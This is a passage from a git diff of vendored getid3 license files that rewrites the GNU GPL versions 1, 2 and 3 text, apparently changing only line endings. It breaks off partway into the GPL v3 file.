a license from the original +licensor to copy, distribute or modify the Program subject to these +terms and conditions. You may not impose any further restrictions on the +recipients' exercise of the rights granted herein. + + 7. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of the license which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +the license, you may choose any version ever published by the Free Software +Foundation. + + 8. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 9. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 10. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + Appendix: How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to humanity, the best way to achieve this is to make it +free software which everyone can redistribute and change under these +terms. + + To do so, attach the following notices to the program. It is safest to +attach them to the start of each source file to most effectively convey +the exclusion of warranty; and each file should have at least the +"copyright" line and a pointer to where the full notice is found. + + + Copyright (C) 19yy + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 1, or (at your option) + any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301 USA + + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) 19xx name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the +appropriate parts of the General Public License. Of course, the +commands you use may be called something other than `show w' and `show +c'; they could even be mouse-clicks or menu items--whatever suits your +program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the + program `Gnomovision' (a program to direct compilers to make passes + at assemblers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +That's all there is to it! diff --git a/vendor/james-heinrich/getid3/licenses/license.gpl-20.txt b/vendor/james-heinrich/getid3/licenses/license.gpl-20.txt index 89e08fb002..d159169d10 100644 --- a/vendor/james-heinrich/getid3/licenses/license.gpl-20.txt +++ b/vendor/james-heinrich/getid3/licenses/license.gpl-20.txt @@ -1,339 +1,339 @@ - GNU GENERAL PUBLIC LICENSE - Version 2, June 1991 - - Copyright (C) 1989, 1991 Free Software Foundation, Inc., - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The licenses for most software are designed to take away your -freedom to share and change it. By contrast, the GNU General Public -License is intended to guarantee your freedom to share and change free -software--to make sure the software is free for all its users. This -General Public License applies to most of the Free Software -Foundation's software and to any other program whose authors commit to -using it. (Some other Free Software Foundation software is covered by -the GNU Lesser General Public License instead.) You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -this service if you wish), that you receive source code or can get it -if you want it, that you can change the software or use pieces of it -in new free programs; and that you know you can do these things. - - To protect your rights, we need to make restrictions that forbid -anyone to deny you these rights or to ask you to surrender the rights. -These restrictions translate to certain responsibilities for you if you -distribute copies of the software, or if you modify it. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must give the recipients all the rights that -you have. You must make sure that they, too, receive or can get the -source code. And you must show them these terms so they know their -rights. - - We protect your rights with two steps: (1) copyright the software, and -(2) offer you this license which gives you legal permission to copy, -distribute and/or modify the software. - - Also, for each author's protection and ours, we want to make certain -that everyone understands that there is no warranty for this free -software. If the software is modified by someone else and passed on, we -want its recipients to know that what they have is not the original, so -that any problems introduced by others will not reflect on the original -authors' reputations. - - Finally, any free program is threatened constantly by software -patents. We wish to avoid the danger that redistributors of a free -program will individually obtain patent licenses, in effect making the -program proprietary. To prevent this, we have made it clear that any -patent must be licensed for everyone's free use or not licensed at all. - - The precise terms and conditions for copying, distribution and -modification follow. - - GNU GENERAL PUBLIC LICENSE - TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION - - 0. This License applies to any program or other work which contains -a notice placed by the copyright holder saying it may be distributed -under the terms of this General Public License. The "Program", below, -refers to any such program or work, and a "work based on the Program" -means either the Program or any derivative work under copyright law: -that is to say, a work containing the Program or a portion of it, -either verbatim or with modifications and/or translated into another -language. (Hereinafter, translation is included without limitation in -the term "modification".) Each licensee is addressed as "you". - -Activities other than copying, distribution and modification are not -covered by this License; they are outside its scope. The act of -running the Program is not restricted, and the output from the Program -is covered only if its contents constitute a work based on the -Program (independent of having been made by running the Program). -Whether that is true depends on what the Program does. - - 1. You may copy and distribute verbatim copies of the Program's -source code as you receive it, in any medium, provided that you -conspicuously and appropriately publish on each copy an appropriate -copyright notice and disclaimer of warranty; keep intact all the -notices that refer to this License and to the absence of any warranty; -and give any other recipients of the Program a copy of this License -along with the Program. - -You may charge a fee for the physical act of transferring a copy, and -you may at your option offer warranty protection in exchange for a fee. - - 2. You may modify your copy or copies of the Program or any portion -of it, thus forming a work based on the Program, and copy and -distribute such modifications or work under the terms of Section 1 -above, provided that you also meet all of these conditions: - - a) You must cause the modified files to carry prominent notices - stating that you changed the files and the date of any change. - - b) You must cause any work that you distribute or publish, that in - whole or in part contains or is derived from the Program or any - part thereof, to be licensed as a whole at no charge to all third - parties under the terms of this License. - - c) If the modified program normally reads commands interactively - when run, you must cause it, when started running for such - interactive use in the most ordinary way, to print or display an - announcement including an appropriate copyright notice and a - notice that there is no warranty (or else, saying that you provide - a warranty) and that users may redistribute the program under - these conditions, and telling the user how to view a copy of this - License. (Exception: if the Program itself is interactive but - does not normally print such an announcement, your work based on - the Program is not required to print an announcement.) - -These requirements apply to the modified work as a whole. If -identifiable sections of that work are not derived from the Program, -and can be reasonably considered independent and separate works in -themselves, then this License, and its terms, do not apply to those -sections when you distribute them as separate works. But when you -distribute the same sections as part of a whole which is a work based -on the Program, the distribution of the whole must be on the terms of -this License, whose permissions for other licensees extend to the -entire whole, and thus to each and every part regardless of who wrote it. - -Thus, it is not the intent of this section to claim rights or contest -your rights to work written entirely by you; rather, the intent is to -exercise the right to control the distribution of derivative or -collective works based on the Program. - -In addition, mere aggregation of another work not based on the Program -with the Program (or with a work based on the Program) on a volume of -a storage or distribution medium does not bring the other work under -the scope of this License. - - 3. You may copy and distribute the Program (or a work based on it, -under Section 2) in object code or executable form under the terms of -Sections 1 and 2 above provided that you also do one of the following: - - a) Accompany it with the complete corresponding machine-readable - source code, which must be distributed under the terms of Sections - 1 and 2 above on a medium customarily used for software interchange; or, - - b) Accompany it with a written offer, valid for at least three - years, to give any third party, for a charge no more than your - cost of physically performing source distribution, a complete - machine-readable copy of the corresponding source code, to be - distributed under the terms of Sections 1 and 2 above on a medium - customarily used for software interchange; or, - - c) Accompany it with the information you received as to the offer - to distribute corresponding source code. (This alternative is - allowed only for noncommercial distribution and only if you - received the program in object code or executable form with such - an offer, in accord with Subsection b above.) - -The source code for a work means the preferred form of the work for -making modifications to it. For an executable work, complete source -code means all the source code for all modules it contains, plus any -associated interface definition files, plus the scripts used to -control compilation and installation of the executable. However, as a -special exception, the source code distributed need not include -anything that is normally distributed (in either source or binary -form) with the major components (compiler, kernel, and so on) of the -operating system on which the executable runs, unless that component -itself accompanies the executable. - -If distribution of executable or object code is made by offering -access to copy from a designated place, then offering equivalent -access to copy the source code from the same place counts as -distribution of the source code, even though third parties are not -compelled to copy the source along with the object code. - - 4. You may not copy, modify, sublicense, or distribute the Program -except as expressly provided under this License. Any attempt -otherwise to copy, modify, sublicense or distribute the Program is -void, and will automatically terminate your rights under this License. -However, parties who have received copies, or rights, from you under -this License will not have their licenses terminated so long as such -parties remain in full compliance. - - 5. You are not required to accept this License, since you have not -signed it. However, nothing else grants you permission to modify or -distribute the Program or its derivative works. These actions are -prohibited by law if you do not accept this License. Therefore, by -modifying or distributing the Program (or any work based on the -Program), you indicate your acceptance of this License to do so, and -all its terms and conditions for copying, distributing or modifying -the Program or works based on it. - - 6. Each time you redistribute the Program (or any work based on the -Program), the recipient automatically receives a license from the -original licensor to copy, distribute or modify the Program subject to -these terms and conditions. You may not impose any further -restrictions on the recipients' exercise of the rights granted herein. -You are not responsible for enforcing compliance by third parties to -this License. - - 7. If, as a consequence of a court judgment or allegation of patent -infringement or for any other reason (not limited to patent issues), -conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot -distribute so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you -may not distribute the Program at all. For example, if a patent -license would not permit royalty-free redistribution of the Program by -all those who receive copies directly or indirectly through you, then -the only way you could satisfy both it and this License would be to -refrain entirely from distribution of the Program. - -If any portion of this section is held invalid or unenforceable under -any particular circumstance, the balance of the section is intended to -apply and the section as a whole is intended to apply in other -circumstances. - -It is not the purpose of this section to induce you to infringe any -patents or other property right claims or to contest validity of any -such claims; this section has the sole purpose of protecting the -integrity of the free software distribution system, which is -implemented by public license practices. Many people have made -generous contributions to the wide range of software distributed -through that system in reliance on consistent application of that -system; it is up to the author/donor to decide if he or she is willing -to distribute software through any other system and a licensee cannot -impose that choice. - -This section is intended to make thoroughly clear what is believed to -be a consequence of the rest of this License. - - 8. If the distribution and/or use of the Program is restricted in -certain countries either by patents or by copyrighted interfaces, the -original copyright holder who places the Program under this License -may add an explicit geographical distribution limitation excluding -those countries, so that distribution is permitted only in or among -countries not thus excluded. In such case, this License incorporates -the limitation as if written in the body of this License. - - 9. The Free Software Foundation may publish revised and/or new versions -of the General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - -Each version is given a distinguishing version number. If the Program -specifies a version number of this License which applies to it and "any -later version", you have the option of following the terms and conditions -either of that version or of any later version published by the Free -Software Foundation. If the Program does not specify a version number of -this License, you may choose any version ever published by the Free Software -Foundation. - - 10. If you wish to incorporate parts of the Program into other free -programs whose distribution conditions are different, write to the author -to ask for permission. For software which is copyrighted by the Free -Software Foundation, write to the Free Software Foundation; we sometimes -make exceptions for this. Our decision will be guided by the two goals -of preserving the free status of all derivatives of our free software and -of promoting the sharing and reuse of software generally. - - NO WARRANTY - - 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY -FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN -OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES -PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED -OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF -MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS -TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE -PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, -REPAIR OR CORRECTION. - - 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR -REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, -INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING -OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED -TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY -YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER -PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE -POSSIBILITY OF SUCH DAMAGES. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -convey the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License along - with this program; if not, write to the Free Software Foundation, Inc., - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - -Also add information on how to contact you by electronic and paper mail. - -If the program is interactive, make it output a short notice like this -when it starts in an interactive mode: - - Gnomovision version 69, Copyright (C) year name of author - Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, the commands you use may -be called something other than `show w' and `show c'; they could even be -mouse-clicks or menu items--whatever suits your program. - -You should also get your employer (if you work as a programmer) or your -school, if any, to sign a "copyright disclaimer" for the program, if -necessary. Here is a sample; alter the names: - - Yoyodyne, Inc., hereby disclaims all copyright interest in the program - `Gnomovision' (which makes passes at compilers) written by James Hacker. - - , 1 April 1989 - Ty Coon, President of Vice - -This General Public License does not permit incorporating your program into -proprietary programs. If your program is a subroutine library, you may -consider it more useful to permit linking proprietary applications with the -library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/vendor/james-heinrich/getid3/licenses/license.gpl-30.txt b/vendor/james-heinrich/getid3/licenses/license.gpl-30.txt index 818433ecc0..94a9ed024d 100644 --- a/vendor/james-heinrich/getid3/licenses/license.gpl-30.txt +++ b/vendor/james-heinrich/getid3/licenses/license.gpl-30.txt @@ -1,674 +1,674 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU 